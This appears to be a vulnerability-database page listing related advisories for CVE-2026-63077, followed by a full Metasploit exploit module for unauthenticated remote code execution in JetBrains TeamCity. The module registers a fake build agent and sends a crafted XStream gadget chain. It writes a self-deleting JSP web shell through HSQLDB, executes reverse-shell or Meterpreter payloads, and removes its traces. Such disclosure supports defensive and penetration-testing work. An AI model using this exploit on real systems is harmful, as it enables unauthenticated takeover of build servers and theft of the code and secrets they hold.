...[ More ]
🗓️ 28 Aug 2026 00:00:00Reported by Antoni Tremblay, sfewer-r7Type
packetstorm🔗 packetstorm.news👁 6 Views
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Jetbrains Teamcity | 8 Aug 202606:32 | – | githubexploit | |
| Exploit for CVE-2026-63077 | 30 Jul 202620:12 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Jetbrains Teamcity | 8 Aug 202600:10 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Jetbrains Teamcity | 7 Aug 202608:38 | – | githubexploit | |
| CVE-2026-63077 | 27 Jul 202616:44 | – | attackerkb | |
| The vulnerability in the web interface of the CI/CD application framework JetBrains TeamCity allows a hacker to bypass existing security mechanisms and execute arbitrary commands on the operating system. | 6 Aug 202600:00 | – | bdu_fstec | |
| CVE-2026-63077 | 27 Jul 202618:06 | – | circl | |
| JetBrains TeamCity Deserialization of Untrusted Data Vulnerability | 5 Aug 202600:00 | – | cisa_kev | |
| CVE-2026-63077 | 27 Jul 202616:44 | – | cve | |
| CVE-2026-63077 | 27 Jul 202616:44 | – | cvelist |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits an unsafe XStream deserialization vulnerability in the JetBrains TeamCity agent polling
protocol. An unauthenticated attacker can register a build agent, then submit a crafted error response
that causes TeamCity to deserialize an attacker-controlled object graph.
The object graph uses FreeMarker and Commons Collections to invoke BasicDataSource.getConnection(). HSQLDB
initialization statements then write a one-shot JSPWS file to the TeamCity webroot. Requesting the JSPWS file
executes the payload with the privileges of the TeamCity server process, deletes the JSPWS source file, and
removes the build agent registered by the module.
This vulnerability was patched in TeamCity version 2025.11.7, and version 2026.1.3.
},
'License' => MSF_LICENSE,
'Author' => [
'Antoni Tremblay', # Discovery
'sfewer-r7' # Analysis, PoC, and Metasploit module
],
'References' => [
['CVE', '2026-63077'],
['URL', 'https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/'],
['URL', 'https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/'],
['URL', 'https://github.com/sfewer-r7/CVE-2026-63077/']
],
'DisclosureDate' => '2026-07-27',
'Privileged' => false, # TeamCity may run as root or SYSTEM, but may also be a lower priv service account.
# Tested against:
# * TeamCity 2026.1.2 (build 222647) running on Windows Server 2025
'Targets' => [
[
'Java Server Page',
# Tested with payloads (on both Windows and Linux):
# * java/jsp_shell_reverse_tcp
{
'Arch' => ARCH_JAVA,
'Platform' => ['win', 'unix', 'linux']
}
],
[
'Windows Command',
# Tested with payloads:
# * cmd/windows/http/x64/meterpreter_reverse_tcp
{
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Payload' => {
'BadChars' => "\r\n\"\\'"
}
}
],
[
'Linux Command',
# Tested with payloads:
# * cmd/linux/http/x64/meterpreter_reverse_tcp
# * cmd/unix/reverse_bash
# * cmd/unix/reverse_netcat
{
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'linux'],
'Payload' => {
'BadChars' => "\r\n\"\\'"
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
Opt::RPORT(8111),
OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/'])
])
register_advanced_options([
# HSQLDB's SCRIPT statement resolves this path from the TeamCity server process working directory.
OptString.new('WebRootRelative', [true, 'The TeamCity webroot relative to the server process working directory', '../webapps/ROOT'])
])
end
def check
# login.html is available without authentication and exposes both the product headers and version string we need.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.html')
)
return CheckCode::Unknown('Connection failed') unless res
# Either marker is sufficient because both the cluster node header and session cookie are specific to TeamCity.
teamcity_detected = res.headers.include?('TeamCity-Node-Id') || res.get_cookies.include?('TCSESSIONID')
return CheckCode::Unknown('The target does not appear to be JetBrains TeamCity') unless teamcity_detected
# TeamCity renders versions as YYYY.release[.patch] followed by its numeric build identifier.
version_match = res.body.match(/(?<version>\d{4}\.\d+(?:\.\d+)?) \(build (?<build>\d+)\)/)
return CheckCode::Detected('JetBrains TeamCity detected, but the version could not be determined') unless version_match
version = Rex::Version.new(version_match[:version])
detected = "JetBrains TeamCity #{version} (build #{version_match[:build]}) detected."
# The 2025.11 and 2026.1 release branches have different first fixed versions. Bound the 2025.11 comparison so a
# later 2026.1 release is judged against its own fix rather than the numerically lower 2025.11.7 version.
if version >= Rex::Version.new('2026.1.3') || (version >= Rex::Version.new('2025.11.7') && version < Rex::Version.new('2026.1.0'))
return CheckCode::Safe(detected)
end
# NOTE: The security patch plugin for TeamCity 2017.1 and later is not detectable via the HTTP interface, so we
# cannot reliably determine if the target is patched. We assume that any vulnerable version is exploitable.
# https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
CheckCode::Appears(detected)
end
def exploit
registration_xml = build_registration_xml
print_status('Registering a TeamCity build agent')
# We first need to register a new agent, so we can retrieve an agent id, required to later reach the unsafe
# deserialization endpoint.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'register'),
'ctype' => 'application/xml',
'data' => registration_xml
)
fail_with(Failure::Unreachable, 'No response received while registering the build agent') unless res
fail_with(Failure::UnexpectedReply, "Agent registration returned HTTP #{res.code}") unless res.code == 200
# The polling endpoint accepts commands only when they carry the session identifier returned at registration. Its
# numeric prefix identifies the agent so the JSP payload can later remove the corresponding TeamCity database record.
agent_session_id = res.headers['TeamCity-AgentSessionId']
vprint_status("Registered new agent with a TeamCity-AgentSessionId: #{agent_session_id}")
fail_with(Failure::UnexpectedReply, 'Agent registration did not return a TeamCity-AgentSessionId header') if agent_session_id.blank?
agent_id = agent_id_from_session(agent_session_id)
print_status('Sending the XStream deserialization payload')
deserialization_payload = build_deserialization_payload(agent_id)
# Trigger the vulnerability and execute a gadget chain via unsafe deserialization in the error endpoint. The
# gadget chain will write a malicious JSP file to disk (under a .jspws extension). We use this JSP file to execute
# a Metasploit JSP or CMD payload.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'agents', 'v1', 'commands', 'error'),
'ctype' => 'application/xml',
'headers' => {
'TeamCity-AgentSessionId' => agent_session_id,
# TeamCity expects an agent command identifier; a random value avoids collisions with other polling traffic.
'TeamCity-AgentCommandId' => rand(100_000..999_999).to_s
},
'data' => deserialization_payload[:payload_xml]
)
fail_with(Failure::Unreachable, 'No response received from the deserialization endpoint') unless res
# We expect an HTTP 500 response after the unsafe deserialization occurs.
fail_with(Failure::UnexpectedReply, "Deserialization endpoint returned HTTP #{res.code}") unless res.code == 500
print_status("Requesting the JSPWS payload at #{deserialization_payload[:jsp_uri]}")
# Now we can trigger the JSP payload we dropped.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, deserialization_payload[:jsp_uri])
)
fail_with(Failure::Unreachable, 'No response received while requesting the JSPWS payload') unless res
# The unique response token is emitted only after payload execution has succeeded.
unless res.code == 200 && res.body.include?(deserialization_payload[:response_token])
fail_with(Failure::UnexpectedReply, "The JSPWS payload did not return the expected response token (HTTP #{res.code})")
end
print_good('The JSPWS payload was executed successfully')
end
# Extracts the numeric agent identifier from TeamCity's <agent id>:<authorization token> polling-session format. The
# JSP needs the server-assigned identifier to remove only the agent registered by this exploit attempt.
def agent_id_from_session(agent_session_id)
agent_id_match = agent_session_id.match(/\A(?<agent_id>[1-9][0-9]*):.+\z/)
fail_with(Failure::UnexpectedReply, 'Agent registration returned an invalid TeamCity-AgentSessionId header') unless agent_id_match
agent_id_match[:agent_id].to_i
end
# Builds the minimal agentDetails document needed to obtain an unauthenticated agent session.
def build_registration_xml
identifiers = Rex::RandomIdentifier::Generator.new
Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
xml.agentDetails(
'agentName' => identifiers[:agent_name],
'agentAddress' => '127.0.0.1',
'agentPort' => rand(1024..65_535).to_s,
'authToken' => identifiers[:auth_token],
'pingCode' => ''
) do
xml.alternativeAddresses
xml.availableRunners
xml.availableVcs
xml.buildParameters
xml.configParameters
end
end.to_xml
end
# Builds the XStream object graph that reaches BasicDataSource#getConnection and returns the XML with the generated
# JSP URI and response token.
#
# For additional details of the object graph and its reference paths, see:
# https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
def build_deserialization_payload(agent_id)
# Java accepts forward slashes on Windows and Unix. Normalize the path separators and remove trailing separators
# before appending the generated JSP filename.
webroot_relative = datastore['WebRootRelative'].tr('\\', '/').sub(%r{/+\z}, '')
# Reject values that cannot represent the intended single filesystem path before placing the value in SQL.
if webroot_relative.empty? || webroot_relative.match?(/[\x00\r\n]/)
fail_with(Failure::BadConfig, 'WebRootRelative must identify a directory on a single line')
end
identifiers = Rex::RandomIdentifier::Generator.new
# TeamCity maps the .jspws extension to its JSP servlet. We cannot execute a .jsp file directly as the
# TeamCity servlet that handles .jsp will block it, so we target .jspws instead.
filename = "#{identifiers[:file_id]}.jspws"
# The URI is both embedded in the JSP self-deletion code and returned to #exploit for the trigger request.
jsp_uri = "/#{filename}"
# Generate the selected ARCH_JAVA or ARCH_CMD JSP, a response token that confirms execution, and agent cleanup.
jsp, response_token = build_jsp(jsp_uri, agent_id)
# Escape the JSP so we can write it into the SQL (and calculate the VARCHAR length).
jsp_string_literal = hsqldb_string_literal(jsp)
# HSQLDB resolves this relative filename when the SCRIPT statement writes the database contents into the webroot.
output_path = "#{webroot_relative}/#{filename}"
# The first two statements store the JSP in a table row. SCRIPT then serializes that row into a SQL/JSP polyglot at
# the chosen webroot path. The escaped literal length conservatively guarantees the VARCHAR can hold the decoded JSP.
init_sql = [
"CREATE TABLE IF NOT EXISTS #{identifiers[:table_name]}(#{identifiers[:column_name]} VARCHAR(#{jsp_string_literal.length}))",
"INSERT INTO #{identifiers[:table_name]} VALUES (#{jsp_string_literal})",
"SCRIPT #{hsqldb_string_literal(output_path)}"
]
payload_xml = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|
xml.send('linked-hash-map') do
# Stage 1 uses an allowed TeamCity Throwable hierarchy to allocate otherwise denied HSQL storage and
# BasicDataSource objects without introducing another class node that XStream would reject.
xml.entry do
xml.string(identifiers[:first_map_entry])
xml.send('jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException') do
xml.send('outer-class') do
xml.myHSQLStorage do
xml.myDataSource do
# Recreate the serialized DBCP BasicDataSource state expected by the target version. The in-memory
# HSQLDB URL avoids relying on an existing database and connectionInitSqls carries the file-write SQL.
xml.defaultTransactionIsolation('-1')
xml.cacheState('true')
xml.driverClassName('org.hsqldb.jdbc.JDBCDriver')
xml.lifo('true')
xml.maxTotal('8')
xml.maxIdle('8')
xml.minIdle('0')
xml.initialSize('0')
xml.maxWaitMillis('-1')
xml.poolPreparedStatements('false')
xml.clearStatementPoolOnReturn('false')
xml.maxOpenPreparedStatements('-1')
xml.testOnCreate('false')
xml.testOnBorrow('true')
xml.testOnReturn('false')
xml.timeBetweenEvictionRunsMillis('-1')
xml.numTestsPerEvictionRun('3')
xml.minEvictableIdleTimeMillis('1800000')
xml.softMinEvictableIdleTimeMillis('-1')
xml.evictionPolicyClassName('org.apache.commons.pool2.impl.DefaultEvictionPolicy')
xml.testWhileIdle('false')
xml.password
xml.url("jdbc:hsqldb:mem:#{identifiers[:database_name]}")
xml.userName('SA')
xml.validationQueryTimeoutSeconds('-1')
# DBCP executes these statements when the final gadget requests a new connection.
xml.connectionInitSqls do
init_sql.each { |statement| xml.string(statement) }
end
xml.accessToUnderlyingConnectionAllowed('false')
xml.maxConnLifetimeMillis('-1')
xml.logExpiredConnections('true')
xml.autoCommitOnReturn('true')
xml.rollbackOnReturn('true')
xml.fastFailValidation('false')
xml.connectionProperties
xml.closed('false')
end
xml.myStopped('false')
xml.myDatabaseOpen('false')
end
end
end
end
# Stage 2 reconstructs FreeMarker wrappers and uses reference-only nodes to relocate the existing
# BasicDataSource into a BooleanModel without causing XStream to perform another denied type check.
xml.entry do
xml.string(identifiers[:second_map_entry])
xml.send('freemarker.ext.beans.HashAdapter') do
xml.wrapper do
xml.sharedIntrospectionLock
xml.classIntrospector do
xml.exposureLevel('0')
xml.exposeFields('false')
xml.treatDefaultMethodsAsBeanMembers('false')
xml.incompatibleImprovements do
xml.major('2')
xml.minor('3')
xml.micro('0')
xml.intValue('2003000')
xml.calculatedStringValue('2.3.0')
xml.hashCode('0')
end
xml.hasSharedInstanceRestrictions('false')
xml.shared('false')
# Reuse the lock object already created in the wrapper to preserve FreeMarker's expected object identity.
xml.sharedLock('reference' => '../../sharedIntrospectionLock')
xml.cache
xml.cacheClassNames
xml.classIntrospectionsInProgress
xml.modelFactories
xml.clearingCounter('0')
end
xml.falseModel do
# Point the model at the Stage 1 BasicDataSource; BeanModel will later expose its connection property.
xml.object('reference' => '../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource')
# Reuse the enclosing BeansWrapper rather than instantiating a second wrapper with inconsistent state.
xml.wrapper('reference' => '../..')
xml.value('false')
end
xml.writeProtected('false')
xml.defaultDateType('0')
xml.methodsShadowItems('true')
xml.simpleMapWrapper('false')
xml.strict('false')
xml.preferIndexedReadMethod('true')
xml.incompatibleImprovements('reference' => '../classIntrospector/incompatibleImprovements')
end
# HashAdapter delegates map lookups to this model, which now wraps the BasicDataSource object.
xml.model('reference' => '../wrapper/falseModel')
end
end
# Stage 3 places TiedMapEntry in a HashSet. Recomputing its hash asks HashAdapter for the "connection" key,
# causing FreeMarker to invoke BasicDataSource#getConnection and execute the HSQLDB initialization statements.
xml.entry do
xml.string(identifiers[:third_map_entry])
xml.set do
xml.send('org.apache.commons.collections.keyvalue.TiedMapEntry') do
# Reference the Stage 2 adapter so deserialization follows the already-approved object graph.
xml.send('map', 'class' => 'freemarker.ext.beans.HashAdapter', 'reference' => '../../../../entry[2]/freemarker.ext.beans.HashAdapter')
xml.key('connection', 'class' => 'string')
end
end
end
end
end.to_xml
# The caller needs the XML to trigger deserialization and the URI/token pair to trigger and confirm code execution.
{ payload_xml: payload_xml, jsp_uri: jsp_uri, response_token: response_token }
end
# Produces the JSP source appropriate for the selected target. ARCH_JAVA payloads are already complete JSP documents;
# ARCH_CMD payloads must first be embedded in a Runtime.exec wrapper before receiving the common cleanup trailer.
def build_jsp(jsp_uri, agent_id)
jsp_identifiers = Rex::RandomIdentifier::Generator.new(language: :jsp)
if target['Arch'] == ARCH_JAVA
return build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
end
build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, payload.encoded)
end
# Wraps an ARCH_CMD payload in a small JSP scriptlet that invokes the target operating system's command interpreter.
# The wrapper is required because command payloads are shell text rather than directly executable JSP source.
def build_native_command_jsp(jsp_identifiers, jsp_uri, agent_id, command)
executable, argument = target['Platform'] == 'win' ? ['cmd.exe', '/c'] : ['/bin/sh', '-c']
jsp_payload = <<~JSP
<%
java.lang.String[] #{jsp_identifiers[:command_array]} = new java.lang.String[]{"#{executable}", "#{argument}", "#{command}"};
java.lang.Runtime.getRuntime().exec(#{jsp_identifiers[:command_array]});
%>
JSP
build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
end
# Appends the response token printing, self-deletion, and agent cleanup to a JSP payload. The response token is
# deliberately emitted first, so receiving it confirms payload execution, before anything else is attempted.
def build_java_payload_jsp(jsp_identifiers, jsp_uri, agent_id, jsp_payload)
jsp = <<~JSP
#{jsp_payload}
<%
out.print("#{jsp_identifiers[:response_token]}");
java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("#{jsp_uri}")));
final org.springframework.web.context.WebApplicationContext #{jsp_identifiers[:spring_context]} =
jetbrains.buildServer.maintenance.TeamCityDispatcherServlet.SPRING_CONTEXT;
if (#{jsp_identifiers[:spring_context]} != null) {
final jetbrains.buildServer.serverSide.SecurityContextEx #{jsp_identifiers[:security_context]} =
(jetbrains.buildServer.serverSide.SecurityContextEx) #{jsp_identifiers[:spring_context]}.getBean("securityContext");
final jetbrains.buildServer.serverSide.BuildAgentManagerEx #{jsp_identifiers[:agent_manager]} =
(jetbrains.buildServer.serverSide.BuildAgentManagerEx) #{jsp_identifiers[:spring_context]}.getBean("agentManager");
#{jsp_identifiers[:security_context]}.runAsSystemUnchecked(
new jetbrains.buildServer.serverSide.SecurityContextEx.RunAsAction() {
public void run() throws java.lang.Throwable {
#{jsp_identifiers[:agent_manager]}.unregisterAgent(#{agent_id}, "");
jetbrains.buildServer.serverSide.BuildAgentEx #{jsp_identifiers[:agent]} =
#{jsp_identifiers[:agent_manager]}.findAgentById(#{agent_id}, true);
if (#{jsp_identifiers[:agent]} != null) {
#{jsp_identifiers[:agent_manager]}.removeAgent(#{jsp_identifiers[:agent]}, null);
}
}
}
);
}
%>
JSP
[
# The HSQLDB SCRIPT output writes each table row on one physical line. Compact the JSP so the SQL/JSP polyglot
# remains a single valid JSP after the database serializes it.
jsp.lines.map(&:strip).reject(&:empty?).join(' '),
jsp_identifiers[:response_token]
]
end
# Quotes an arbitrary value as an HSQLDB string literal. SQL represents an embedded single quote by doubling it, so
# this helper is required before JSP source or filesystem paths are placed into initialization statements.
def hsqldb_string_literal(value)
"'#{value.gsub("'", "''")}'"
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Aug 2026 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.19.8
EPSS0.84733
SSVC